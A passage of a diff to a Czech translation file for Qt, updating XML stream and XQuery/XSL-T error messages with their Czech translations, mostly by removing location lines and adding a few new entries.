    +    
    +    
    +        Error %1 in %2, at line %3, column %4: %5
    +        Chyba %1 v %2, na řádku %3, sloupec %4: %5
    +    
    +    
    +        Error %1 in %2: %3
    +        Chyba %1 v %2: %3
    +    
    +
    +
         QXmlStream
         
    -        
             Reference to unparsed entity '%1'.
             Odkaz na nevyhodnocenou entitu '%1'.
         
         
    -        
             Unexpected character '%1' in public id literal.
             '%1' není platným znakem v údaji veřejného id, který je tvořen písmeny.
         
         
    -        
    -        
    -        
    -        
             Illegal namespace declaration.
             Neplatné prohlášení jmenného prostoru.
         
         
    -        
             Invalid XML character.
             Neplatný znak XML.
         
         
    -        
             Expected character data.
             Byly očekávány údaje o znacích.
         
         
    -        
             Standalone accepts only yes or no.
             Hodnota pro samostatnou vlastnost může být pouze "ano" nebo "ne".
         
         
    -        
             Invalid XML version string.
             Neplatný údaj o verzi XML.
         
         
    -        
             Invalid processing instruction name.
             Název pokynu pro zpracování je neplatný.
         
         
    -        
             Namespace prefix '%1' not declared
             Předpona jmenného prostoru '%1' nebyla prohlášena
         
         
    -        
    -        
    -        
             Entity '%1' not declared.
             Entita '%1' není prohlášena.
         
         
    -        
             %1 is an invalid processing instruction name.
             %1 není platným názvem pokynu pro zpracování.
         
         
    -        
             The standalone pseudo attribute must appear after the encoding.
             Samostatná pseudovlastnost musí následovat bezprostředně po kódování.
         
         
    -        
             Sequence ']]>' not allowed in content.
             Sled znaků ']]>' není v obsahu povolen.
         
         
    -        
             %1 is an invalid encoding name.
             %1 není platným názvem pro kódování.
         
         
    -        
             , but got '
             očekáváno, namísto toho obdrženo '
         
         
    -        
             Start tag expected.
             Očekáván otevírající prvek.
         
         
    -        
             Invalid character reference.
             Odkaz na neplatný znak.
         
         
    -        
             Reference to external entity '%1' in attribute value.
             V hodnotě vlastnosti byla odkazována entita '%1'.
         
         
    -        
             Expected 
             Bylo 
         
         
    -        
             Invalid document.
             Neplatný dokument.
         
         
    -        
             Opening and ending tag mismatch.
             Počet otevírajících prvků neodpovídá neodpovídá počtu zavírajících prvků.
         
         
    -        
    -        
             Encountered incorrectly encoded content.
             Byl nalezen obsah s neplatným kódováním.
         
         
    -        
             Invalid attribute in XML declaration.
             Prohlášení XML obsahuje neplatnou vlastnost.
         
         
    -        
             Attribute redefined.
             Vlastnost byla nově vymezena.
         
         
    -        
             %1 is an invalid PUBLIC identifier.
             %1 není platným údajem VEŘEJNÉHO identifikátoru (id).
         
         
    -        
    -        
             Extra content at end of document.
             Přebytečný obsah za koncem dokumentu.
         
         
    -        
             Invalid XML name.
             Neplatný název XML.
         
         
    -        
             Premature end of document.
             Předčasný konec dokumentu.
         
         
    -        
             XML declaration not at start of document.
             Prohlášení XML se nenachází na začátku dokumentu.
         
         
    -        
             Recursive entity detected.
             Byla zjištěna rekurzivní entita.
         
         
    -        
             Unsupported XML version.
             Tato verze XML není podporována.
         
         
    -        
             Unexpected '
             Na tomto místě neplatný ' 
         
         
    -        
             Invalid entity value.
             neplatná hodnota entity.
         
         
    -        
             Encoding %1 is unsupported
             Kódování %1 není podporováno
         
         
    -        
             NDATA in parameter entity declaration.
             Parametrické prohlášení entitynesmí obsahovat žádné NDATA.
         
    @@ -7890,62 +8330,50 @@ Zvolte, prosím, pro soubor jiný název.
     
         QtXmlPatterns
         
    -        
             A comment cannot contain %1
             Poznámka nesmí obsahovat %1
         
         
    -        
             Version %1 is not supported. The supported XQuery version is 1.0.
             Verze %1 není podporována. Podporovanou verzí XQuery je 1.0.
         
         
    -        
             The root node of the second argument to function %1 must be a document node. %2 is not a document node.
             Nadřízený uzel druhého agumentu funkce %1 musí být uzlem dokumentu, což není případ %2.
         
         
    -        
             The parameter %1 is required, but no corresponding %2 is supplied.
             Nebyl zadán žádný odpovídající %2 pro potřebný parametr %1.
         
         
    -        
             Namespace declarations must occur before function, variable, and option declarations.
             Prohlášení jmenných prostorů musí stát před prohlášeními funkcí-, proměnných- nebo prohlášeními voleb.
         
         
    -        
             empty
             prázdný
         
         
    -        
             The namespace URI cannot be the empty string when binding to a prefix, %1.
             Jmenný prostor-URI nesmí být prázdný, když je spojen s prefixem %1.
         
         
    -        
             A comment cannot end with a %1.
             Poznámka nesmí končit na %1.
         
         
    -        
             Top level stylesheet elements must be in a non-null namespace, which %1 isn't.
             Úplně nahoře stojící prvky prováděcího listu se nesmí nacházet v nulovém jmenném prostoru, což je případ %1.
         
         
    -        
             Integer division (%1) by zero (%2) is undefined.
             Celočíselné dělení (%1) nulou (%2) není stanoveno.
         
         
    -        
             A library module cannot be evaluated directly. It must be imported from a main module.
             Knihovní modul nemůže být posouzen přímo, musí být zaveden z hlavního modulu.
         
         
    -        
             Time %1:%2:%3.%4 is invalid.
             Časový údaj %1:%2:%3.%4 je neplatný.
         
    @@ -7954,37 +8382,30 @@ Zvolte, prosím, pro soubor jiný název.
             Prvek %2 může mít pouze obvyklé vlastnosti, ne však %1.
         
         
    -        
             A value of type %1 must contain an even number of digits. The value %2 does not.
             Počet míst hodnoty typu %1 musí být stejný. To není případ %2.
         
         
    -        
             Modulus division (%1) by zero (%2) is undefined.
             Dělení absolutní hodnoty (%1) nulou(%2) není stanoveno.
         
         
    -        
             No function with signature %1 is available
             Neexistuje žádná funkce označená jako %1
         
         
    -        
             None of the pragma expressions are supported. Therefore, a fallback expression must be present
             Musí být přítomen záložní výraz, neboť nejsou podporovány žádné věcné výrazy
         
         
    -        
             In the replacement string, %1 can only be used to escape itself or %2, not %3
             V nahrazení může být použit pouze %1, aby se chránil sám, nebo %2, ne však pro %3
         
         
    -        
             The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.
             Kódovací bod %1 z %2 s kódováním %3 není platným znakem XML.
         
         
    -        
             Network timeout.
             Časový limit síťové operace byl překročen.
         
    @@ -7993,33 +8414,26 @@ Zvolte, prosím, pro soubor jiný název.
             Nelze provádět žádné výběrové ("cast") operace s typem %1.
         
         
    -        
             The Schema Import feature is not supported, and therefore %1 declarations cannot occur.
             Prohlášení %1 je nepřípustné, protože není podporováno zavedení schémat.
         
         
    -        
             Attribute %1 and %2 are mutually exclusive.
             Vlastnosti %1 a %2 se vzájemně vylučující.
         
         
    -        
             Parse error: %1
             Chyba vyhodnocení: %1
         
         
    -        
             If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.
             Nelze zadat žádnou předponu, jestliže je první argument prázdný nebo je prázdný řetězec znaků (žádný jmenný prostor). Byla zadána předpona %1.
         
         
    -        
             In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.
             V XSL-T vyhledávacím vzoru musí být první argument k funkci %1 při použití k hledání odkaz tvořený písmeny nebo proměnný.
         
         
    -        
    -        
             At least one component must be present.
             Alespoň jedna součást musí být přítomna.
         
    @@ -8028,67 +8442,54 @@ Zvolte, prosím, pro soubor jiný název.
             Ve staviteli jmenného prostoru nesmí mýt hodnota jmenného prostoru prázdným řetězcem.
         
         
    -        
             An attribute by name %1 has already been created.
             Již byla vytvořena jedna vlastnost s názvem %1.
         
         
    -        
             An argument by name %1 has already been declared. Every argument name must be unique.
    -        Již existuje jeden argument s názvem %1. Názvy argumentů musí být jednoznačné.
    +        Již existuje jeden argument s názvem %1. Názvy argumentů musí být jednoznačné.
         
         
    -        
             %1 is an invalid flag for regular expressions. Valid flags are:
             %1 není pro regulérní výrazy platným příznakem. Platnými příznaky jsou:
         
         
    -        
             At least one %1-element must occur inside %2.
             V %2 se musí vyskytovat alespoň jeden %1-prvek.
         
         
    -        
             Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.
             Je podporován pouze Unicode Codepoint Collation (%1). %2 není podporován.
         
         
    -        
             Matches are case insensitive
             Na psaní velkých/malých písmen není brán zřetel
         
         
    -        
             The name of an extension expression must be in a namespace.
             Název výrazu rozšíření se musí nacházet ve jmenném prostoru.
         
         
    -        
             Each name of a template parameter must be unique; %1 is duplicated.
             Názvy parametrů předloh musí být jednoznačné, %1 již existuje.
         
         
    -        
             At least one mode must be specified in the %1-attribute on element %2.
             Ve %1-vlastnosti prvku %2 musí být zadán alespoň jeden způsob.
         
         
    -        
             %1 matches newline characters
             Výraz '%1' odpovídá znakům pro nový řádek
         
         
    -        
             Year %1 is invalid because it begins with %2.
             %1 není platným údajem pro rok, protože začíná %2.
         
         
    -        
             The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
             Druhý argument %1 nemůže být typ %2. Musí to být typ %3, %4 nebo %5.
         
         
    -        
             Element %1 cannot have children.
             Prvek %1 nemůže mít podprvky.
         
    @@ -8097,42 +8498,34 @@ Zvolte, prosím, pro soubor jiný název.
             Prvek %2 může mít jen vlastnost %3 nebo vlastnosti, které jsou obvyklé, ne však %1.
         
         
    -        
             Only one %1-element can appear.
             Může být jen jeden jediný %1-prvek.
         
         
    -        
             The name for a computed attribute cannot have the namespace URI %1 with the local name %2.
             Název počítané vlastnosti nesmí mít jmenný prostor-URI %1 s místním názvem %2.
         
         
    -        
             A positional predicate must evaluate to a single numeric value.
             Poziční přísudek se musí vyhodnotit jako jednoduchá, číselná hodnota.
         
         
    -        
             Element %1 can't be serialized because it appears outside the document element.
             Prvek %1 nemůže být vydáván na pokračování, protože se objevuje mimo prvky dokumentu.
         
         
    -        
             %1 and %2 match the start and end of a line.
             Výrazy %1 a %2 vždy odpovídají začátku nebo konci libovolného řádku.
         
         
    -        
             Running an XSL-T 1.0 stylesheet with a 2.0 processor.
             Je zpracováván jeden XSL-T 1.0 stylový list jedním procesorem verze 2.0.
         
         
    -        
             A stylesheet function must have a prefixed name.
             Název funkce stylového listu musí mít předponu.
         
         
    -        
             %1 cannot be retrieved
             %1 nelze určit
         
    @@ -8141,42 +8534,34 @@ Zvolte, prosím, pro soubor jiný název.
             Nelze provést operaci předvedení hodnoty %1 typu %2 k %3
         
         
    -        
             The value of the XSL-T version attribute must be a value of type %1, which %2 isn't.
             Hodnota XSL-T vlastnosti verze musí být hodnotou typu %1, což není případ %2.
         
         
    -        
             In a namespace constructor, the value for a namespace cannot be an empty string.
             Ve staviteli jmenného prostoru nesmí mýt hodnota jmenného prostoru prázdným řetězcem.
         
         
    -        
             The prefix %1 cannot be bound.
             Předponu %1 nelze spojit.
         
         
    -        
             The prefix must be a valid %1, which %2 is not.
             Předpona musí být platný %1, což není případ %2.
         
         
    -        
             The keyword %1 cannot occur with any other mode name.
             Klíčové slovo %1 se nemůže používat dohromady s jiným názvem způsobu.
         
         
    -        
             Type error in cast, expected %1, received %2.
             Chyba psaní u operace předvedení, bylo očekáváno %1, ale přijato %2.
         
         
    -        
             %1 is not a valid numeric literal.
             %1 není platný číselný údaj tvořený písmeny.
         
         
    -        
             %1 takes at most %n argument(s). %2 is therefore invalid.
             
                 %1 má jen %n argument; údaj %2 z tohoto důvodu neplatný.
    @@ -8189,36 +8574,30 @@ Zvolte, prosím, pro soubor jiný název.
             byla zjištěna cirkulární závislost
         
         
    -        
             A variable by name %1 has already been declared.
    -        Proměnná s názvem %1 již byla prohlášena.
    +        Proměnná s názvem %1 již byla prohlášena.
         
         
    -        
             The prefix %1 can not be bound. By default, it is already bound to the namespace %2.
    -        Předpona %1 nemůže být spojena. Ve výchozím nastavení je již spojena se jmenným prostorem %2.
    +        Předpona %1 nemůže být spojena. Ve výchozím nastavení je již spojena se jmenným prostorem %2.
         
         
             An %1-attribute must have a valid %2 as value, which %3 isn't.
             Vlastnost s názvem %1 musí mít platnou %2-hodnotu. %3 není platnou hodnotou.
         
         
    -        
             If element %1 has no attribute %2, it cannot have attribute %3 or %4.
             Prvek %1 nesmí mít vlastnost %3 nebo %4, pokud nemá vlastnost %2.
         
         
    -        
             A function already exists with the signature %1.
             Již existuje funkce s podpisem %1.
         
         
    -        
             When casting to %1 from %2, the source value cannot be %3.
             U operace předvedení z %1 do %2 nesmí být zdrojová hodnota %3.
         
         
    -        
             Attribute %1 can't be serialized because it appears at the top level.
             Vlastnost %1 nemůže být vydáván na pokračování, protože se objevuje na nejvyšší rovině.
         
    @@ -8227,42 +8606,34 @@ Zvolte, prosím, pro soubor jiný název.
             S typem %1 nemohou být prováděny žádné srovnávací operace.
         
         
    -        
             No value is available for the external variable by name %1.
    -        Pro vnější proměnnou s názvem %1 není dostupná žádná hodnota.
    +        Pro vnější proměnnou s názvem %1 není dostupná žádná hodnota.
         
         
    -        
             The value of attribute %1 must of type %2, which %3 isn't.
    -        Hodnota vlastnosti %1 musí být typu %2. %3 není platnou hodnotou.
    +        Hodnota vlastnosti %1 musí být typu %2. %3 není platnou hodnotou.
         
         
    -        
             The item %1 did not match the required type %2.
             Prvek %1 neodpovídá požadovanému typu %2.
         
         
    -        
             Element %1 cannot have a sequence constructor.
             Prvek %1 nemůže mít stavitele posloupnosti.
         
         
    -        
             When attribute %1 is present on %2, a sequence constructor cannot be used.
             Nelze používat žádného stavitele posloupnosti, když %2 má vlastnost %1.
         
         
    -        
             one or more
             jeden nebo více
         
         
    -        
             The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.
             Kódování %1 je neplatné; smí sestávat pouze z latinských písmen a musí odpovídat pravidelnéu výrazu %2.
         
         
    -        
             %1 requires at least %n argument(s). %2 is therefore invalid.
             
                 %1 vyžaduje alespoň %n argument; údaj %2 je z toho důvodu neplatný.
    @@ -8271,38 +8642,30 @@ Zvolte, prosím, pro soubor jiný název.
             
         
         
    -        
             The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, is %2 invalid.
    -        %2 není platným cílovým názvem pokynu pro zpracování, protože tento nesmí být %1 (nehledě na psaní velkých/malých písmen).
    +        %2 není platným cílovým názvem pokynu pro zpracování, protože tento nesmí být %1 (nehledě na psaní velkých/malých písmen).
         
         
    -        
             The focus is undefined.
             Není stanoveno ohnisko.
         
         
    -        
    -        
             %1 is an unknown schema type.
             %1 je neznámým typem schematu.
         
         
    -        
             The value for attribute %1 on element %2 must either be %3 or %4, not %5.
             Hodnota vlastnosti %1 prvku %2 může být jen %3 nebo %4, ne však %5.
         
         
    -        
             In the replacement string, %1 must be followed by at least one digit when not escaped.
             V nahrazovacím řetězci musí po %1 následovat alespoň jedna číslice, když není chráněn znakem Escape.
         
         
    -        
             In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.
             V XSL-T vyhledávacím vzoru se smějí používat jen osy %2 nebo %3, ne však %1.
         
         
    -        
             The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)
             Jmenný prostor uživatelem stanovené funkce nesmí být prázdný (pro tento účel je předstanovená předpona %1)
         
    @@ -8311,67 +8674,66 @@ Zvolte, prosím, pro soubor jiný název.
             První veličina, operand, celočíselného dělení %1 nesmí být nekonečno (%2).
         
         
    -        
             %1 is not a valid value of type %2.
             %1 není platnou hodnotou typu %2.
         
         
    -        
             Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.
             Násobení hodnoty typu %1 s %2 nebo %3 (kladné nebo záporné nekonečno) není přípustné.
         
         
    -        
             The variable %1 is unused
             Proměnná %1 se nepoužívá
         
         
    -        
             The %1-axis is unsupported in XQuery
             Osa %1 není v XQuery podporována
         
         
    -        
    +        No function with name %1 is available.
    +        Neexistuje žádná funkce s názvem %1.
    +    
    +    
    +        An attribute with name %1 has already appeared on this element.
    +        Prvek má již vlastnost s názvem %1.
    +    
    +    
             A direct element constructor is not well-formed. %1 is ended with %2.
             Byl nalezen chybný stavitel přímého prvku. %1 končí %2.
         
         
    -        
             Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.
             Dělení hodnoty typu %1 prostřednictvím %2 nebo %3 (kladná nebo záporná nula) není přípustné.
         
         
    -        
             Attribute %1 cannot have the value %2.
             Vlastnost %1 nesmí mít hodnotu %2.
         
         
    -        
             It will not be possible to retrieve %1.
             %1 nelze určit.
         
         
    -        
             In an XSL-T pattern, function %1 cannot have a third argument.
             V XSL-T vyhledávacím vzoru nesmí mít funkce %1 třetí argument.
         
         
    -        
             The namespace URI in the name for a computed attribute cannot be %1.
             URI jmenného prostoru v názvu vypočítané vlastnosti nesmí být %1.
         
         
    -        
    +        The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.
    +        Cílový název příkazu pro zpracování nemůže být %1 (nezávisle na psaní velkých/malých písmen). %2 je z toho důvodu neplatný.
    +    
    +    
             %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.
             %1 není platným cílovým názvem pokynu pro zpracování. Musí to být hodnota %2 jakou je například %3.
         
         
    -        
             %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.
             %1 je složeným typem. Operace předvedení u složených typů není možná. Mohou se ovšem provádět operace obsazení u atomárních typů jako %2.
         
         
    -        
             zero or one
             žádný nebo jeden
         
    @@ -8384,33 +8746,26 @@ Zvolte, prosím, pro soubor jiný název.
             V XSL-T neexistuje žádný prvek s místním názvem %1.
         
         
    -        
             Two namespace declaration attributes have the same name: %1.
             Byly nalezeny dvě vlastnosti prohlášení jmenného prostoru se stejným názvem (%1).
         
         
    -        
             Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.
             Skutečná Booleanská hodnota nemůže být vypočítána pro posloupnost ze dvou nebo více atomárních hodnot.
         
         
    -        
    -        
             %1 is an invalid %2
             %1 je neplatný %2
         
         
    -        
             The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.
             První argument k %1 nesmí být typu %2; musí to být číselný typ, xs:yearMonthDuration nebo xs:dayTimeDuration.
         
         
    -        
             Division (%1) by zero (%2) is undefined.
             Dělení (%1) nulou (%2) není stanoveno.
         
         
    -        
             No template by name %1 exists.
             Neexistuje žádná předloha s názvem %1.
         
    @@ -8419,27 +8774,22 @@ Zvolte, prosím, pro soubor jiný název.
             Prvek %2 musí mít vlastnost %1.
         
         
    -        
             An attribute by name %1 has already appeared on this element.
    -        Prvek má již vlastnost s názvem %1.
    +        Prvek má již vlastnost s názvem %1.
         
         
    -        
             The default collection is undefined
             Pro sbírku není stanovena žádná předloha
         
         
    -        
             Only the prefix %1 can be bound to %2 and vice versa.
             S %2 může být spojena pouze předpona %1 (a obráceně).
         
         
    -        
             Value %1 of type %2 exceeds maximum (%3).
             Hodnota %1 typu %2 překračuje maximum (%3).
         
         
    -        
             Whitespace characters are removed, except when they appear in character classes
             Prázdné znaky jsou odstraněny v případě, že se neobjeví ve znakových třídách
         
    @@ -8448,113 +8798,90 @@ Zvolte, prosím, pro soubor jiný název.
             Nemohou se provádět žádné operace předvedení k typu %1, protože je to abstraktní typ ist a nelze je doložit příkladem.
         
         
    -        
             Operator %1 cannot be used on type %2.
             Operátor %1 nelze použít na typ %2.
         
         
    -        
             The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.
             Jmenný prostor %1 je vyhrazen a z toho důvodu jej nemohou používat uživatelem stanovené funkce (pro tento účel je tu předstanovená předpona %2).
         
         
    -        
             The target namespace of a %1 cannot be empty.
             Cílový jmenný prostor %1 nesmí být prázdný.
         
         
    -        
             %1 must be followed by %2 or %3, not at the end of the replacement string.
             Po %1 musí následovat %2 nebo %3; nesmí se objevit na konci nahrazovacího řetězce.
         
         
    -        
             %1 is an invalid namespace URI.
             %1 není platným jmenným prostorem-URI.
         
         
    -        
    -        
             The attribute %1 cannot appear on %2, when it is a child of %3.
             %2 nesmí mít vlastnost %1 v případě, že je potomkem %3.
         
         
    -        
             The attribute %1 can only appear on the first %2 element.
             Pouze první %2-prvek smí mít vlastnost %1.
         
         
    -        
             Element %1 must have either a %2-attribute or a sequence constructor.
             Prvek %1 musí mít buď jednu %2-vlastnost nebo se musí používat stavitel posloupnosti.
         
         
    -        
             Module imports must occur before function, variable, and option declarations.
             Zavedení modulů musí nastat před prohlášeními funkcí, proměnných a voleb.
         
         
    -        
             Day %1 is outside the range %2..%3.
             Údaj dne %1 je mimo rozsah %2..%3.
         
         
    -        
             %1 contains octets which are disallowed in the requested encoding %2.
             %1 obsahuje oktety, které v kódování %2 nejsou přípustné.
         
         
    -        
             When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.
             Výchozí hodnota požadovaného parametru nemůže být zadána ani prostřednictvím %1-vlastnosti ani přes stavitele posloupnosti.
         
         
    -        
             In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.
             V XSL-T vyhledávacím vzoru musí být první argument k funkci %1 při použití k hledání řetězec tvořený písmeny.
         
         
    -        
             Text nodes are not allowed at this location.
             Na tomto místě nesmí stát žádné textové uzly.
         
         
    -        
             A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.
             Hodnoty typu %1 nesmí ýt přísudkem. Pro přísudky jsou přípustné pouze typ číselný nebo účinný booleánský.
         
         
    -        
             %1 is not a valid name for a processing-instruction.
             %1 není platným názvem pokynu pro zpracování.
         
         
    -        
             %1 was called.
             %1 byl volán.
         
         
    -        
             It's not possible to add attributes after any other kind of node.
             Vlastnosti nesmí následovat za jinými druhy uzlů.
         
         
    -        
             At least one %1-element must occur before %2.
             Před %2 musí stát alespoň jeden %1-prvek.
         
         
    -        
             The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).
             Tato forma normalizování %1 není podporována. Podporovanými formami normalizování jsou %2, %3, %4 a %5, a "žádný" (prázdný znakový řetězec zastupuje "žádné normalizování").
         
         
    -        
             When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.
             U operace představení k typu %1 nebo odvozených typů musí být zdrojovou hodnotou řetězec znaků tvořený písmeny nebo hodnota stejného typu. Typ %2 je neplatný.
         
         
    -        
             A parameter in a function cannot be declared to be a tunnel.
             Parameter funkce nelze prohlásit za tunel.
         
    @@ -8563,62 +8890,50 @@ Zvolte, prosím, pro soubor jiný název.
             XSL-T vlastnosti XSL-T prvku musí být v nulovém jmenném prostoru, nikoli v XSL-T jmenném prostoru, jako %1.
         
         
    -        
             The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2
             Jmenný prostor uživatelem stanovené funkce v modulu knihovny musí odpovídat jmennému prostoru modulu (Jinými slovy by měl být %1 namísto %2) 
         
         
    -        
             Day %1 is invalid for month %2.
             Ǔdaj o dni %1 je neplatným pro měsíc %2.
         
         
    -        
             Overflow: Can't represent date %1.
             Nelze představit datum %1 (Přetečení).
         
         
    -        
             In a simplified stylesheet module, attribute %1 must be present.
             Ve zjednodušeném modulu stylového listu musí být přítomna vlastnost %1.
         
         
    -        
             Unknown XSL-T attribute %1.
             Neznámá XSL-T vlastnost: %1.
         
         
    -        
             It is not possible to redeclare prefix %1.
             Předponu %1 nelze prohlásit.
         
         
    -        
             exactly one
             přesně jeden
         
         
    -        
             %1 is an invalid regular expression pattern: %2
             %1 není platným pravidelným výrazem: %2
         
         
    -        
             Element %1 is not allowed at this location.
             Prvek %1 nesmí stát na tomto místě.
         
         
    -        
             The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.
             %1-výrazy se nemohou používat, protože funkce prohlášení schématu platným není podporována.
         
         
    -        
             At least one %1 element must appear as child of %2.
             Alespoň jeden %1-prvek musí být potomkem %2.
         
         
    -        
             This processor is not Schema-aware and therefore %1 cannot be used.
             %1 se nemůže používat, protože tento procesor nepodporuje žádné schéma.
         
    @@ -8627,13 +8942,10 @@ Zvolte, prosím, pro soubor jiný název.
             Prvek %2 může mít jen %3 nebo obvyklé vlastnosti, ne však %1.
         
         
    -        
    -        
             Dividing a value of type %1 by %2 (not-a-number) is not allowed.
             Dělení hodnoty typu %1 prostřednictvím %2 (není číselnou hodnotou) není přípustné.
         
         
    -        
             Required cardinality is %1; got cardinality %2.
             Požadované kardinální číslo (mohutnost množiny) je %1 (v současnosti %2).
         
    @@ -8642,17 +8954,14 @@ Zvolte, prosím, pro soubor jiný název.
             Tento výtvor je přípustný pouze v XQuery.
         
         
    -        
             No function by name %1 is available.
    -        Neexistuje žádná funkce s názvem %1.
    +        Neexistuje žádná funkce s názvem %1.
         
         
    -        
             The URI cannot have a fragment
             URI nesmí obsahovat kousek
         
         
    -        
             %1 is not an atomic type. Casting is only possible to atomic types.
             %1 není atomárním typem. Operace představení se dají provádět pouze s atomárními typy.
         
    @@ -8661,98 +8970,78 @@ Zvolte, prosím, pro soubor jiný název.
             První argument %1 nemůže být typu %2.
         
         
    -        
             The namespace URI must be a constant and cannot use enclosed expressions.
             Jmenný prostor-URI musí být konstantou a nesmí používat vložené výrazy.
         
         
    -        
             Prefix %1 is already declared in the prolog.
             Předpona %1 byla prohlášena již v předmluvě (prologu).
         
         
    -        
             Ambiguous rule match.
             Víceznačné pravidlo.
         
         
    -        
             Promoting %1 to %2 may cause loss of precision.
             Postoupení od %1 k %2 může vést ke ztrátě přesnosti.
         
         
    -        
             In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.
             V XSL-T vyhledávacím vzoru se smějí pro srovnávání používat jen funkce %1 a %2, ne však %3.
         
         
    -        
    -        
             A default namespace declaration must occur before function, variable, and option declarations.
             Prohlášení výchozích jmenných prostorů musí stát před prohlášeními funkcí-, proměnných- nebo prohlášeními voleb.
         
         
    -        
             Operator %1 cannot be used on atomic values of type %2 and %3.
             Operátor %1 se nemůže používat u atomárních hodnot typů %2 a %3.
         
         
    -        
             The module import feature is not supported
             Funkce zavedení modulu není podporována
         
         
    -        
             The parameter %1 is passed, but no corresponding %2 exists.
             Neexistuje žádný odpovídající %2 pro předaný parameter %1.
         
         
    -        
             A value of type %1 cannot have an Effective Boolean Value.
             Hodnota typu %1 nemůže mít žádnou účinnou booleánskou hodnotu.
         
         
    -        
             The data of a processing instruction cannot contain the string %1
             Data pokynu pro zpracování nesmí obsahovat řetězec znaků %1
         
         
    -        
             Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; 
             Časový údaj 24:%1:%2.%3 je neplatný. U hodinového údaje je 24, ale minuty, sekundy a milisekundy musí být všechny 0; 
         
         
    -        
             A template by name %1 has already been declared.
    -        Předloha s názvem %1 už byla prohlášena.
    +        Předloha s názvem %1 už byla prohlášena.
         
         
    -        
             It is not possible to bind to the prefix %1
             Předponu %1 nelze spojit
         
         
    -        
             Value %1 of type %2 is below minimum (%3).
             Hodnota %1 typu %2 zůstává pod minimem (%3).
         
         
    -        
             Required type is %1, but %2 was found.
             Požadovaný typ je %1, byl ale zadán %2.
         
         
    -        
             %1 is an unsupported encoding.
             Kódování %1 není podporováno.
         
         
    -        
             The name of an option must have a prefix. There is no default namespace for options.
             Název volby musí mít předponu. Pro volby není žádná předloha pro jmenný prostor.
         
         
    -        
             Element %1 must come last.
             Prvek %1 musí stát jako poslední.
         
    @@ -8761,57 +9050,50 @@ Zvolte, prosím, pro soubor jiný název.
             Prvek %2 může mít jen vlastnost %3, %4 nebo vlastnosti, které jsou obvyklé, ne však %1.
         
         
    -        
             No namespace binding exists for the prefix %1 in %2
             Neexistuje žádné svázání jmenného prostoru pro předponu %1 v %2
         
         
    -        
             The name %1 does not refer to any schema type.
             Název %1 nemá žádnou spojitost s jakýmkoli typem schématu.
         
         
    -        
             Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).
             Předponu %1 lze spojit pouze s %2. Toto je prohlášeno již dopředu..
         
         
    -        
             W3C XML Schema identity constraint selector
             Přepínač omezení totožnosti W3C XML schéma
         
         
    -        
             W3C XML Schema identity constraint field
             Pole omezení totožnosti W3C XML schéma
         
         
    -        
             A construct was encountered which is disallowed in the current language(%1).
             Narazilo se na výtvor, který v nynějším jazyce není povolen (%1).
         
         
    -        
    +        A template with name %1 has already been declared.
    +        Předloha s názvem %1 již existuje.
    +    
    +    
             The initialization of variable %1 depends on itself
             Inicializace proměnné %1 je závislá na její vlastní hodnotě
         
         
    -        
             An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.
             Uzel vlastnosti se nesmí objevit jako potomek uzlu dokumentu. Objevil se uzel vlastnosti s názvem %1, který je proto nevhodný.
         
         
    -        
             Month %1 is outside the range %2..%3.
             Údaj o měsíci %1 je mimo rozsah %2..%3.
         
         
    -        
             The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.
             Název proměnné úzce spojené s pro-výrazem se musí lišit od poziční proměnné. Dvě proměnné s názvem %1 se z tohoto důvodu střetávají.
         
         
    -        
             No namespace binding exists for the prefix %1
             Neexistuje žádné svázání jmenného prostoru pro předponu %1
         
    @@ -8820,38 +9102,54 @@ Zvolte, prosím, pro soubor jiný název.
             Prvek má již jednu vlastnost s názvem %1 s hodnotou %2.
         
         
    -        
             %1 is not valid as a value of type %2.
             %1 není platný jako hodnota typu %2.
         
         
    -        
             zero or more
             žádný nebo více
         
         
    -        
    -        
             %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.
             %1 se nenachází v oblasti pod prohlášením vlastností. Všimněte si, že funkce zavedení schématu není podporována.
         
         
    -        
             When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.
             Při použití funkce %1 k vyhodnocování uvnitř vyhledávacího vzoru musí být argumentem odkaz na proměnnou nebo řetězec tvořený písmeny.
         
         
    -        
    +        No variable with name %1 exists
    +        Neexistuje žádná proměnná s názvem %1
    +    
    +    
    +        The value of attribute %1 must be of type %2, which %3 isn't.
    +        Hodnota vlastnosti %1 musí být typu %2. %3 není platnou hodnotou.
    +    
    +    
    +        The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.
    +        Předpona %1 nemůže být spojena. Ve výchozím nastavení je již spojena se jmenným prostorem %2.
    +    
    +    
    +        A variable with name %1 has already been declared.
    +        Proměnná s názvem %1 již byla prohlášena.
    +    
    +    
    +        No value is available for the external variable with name %1.
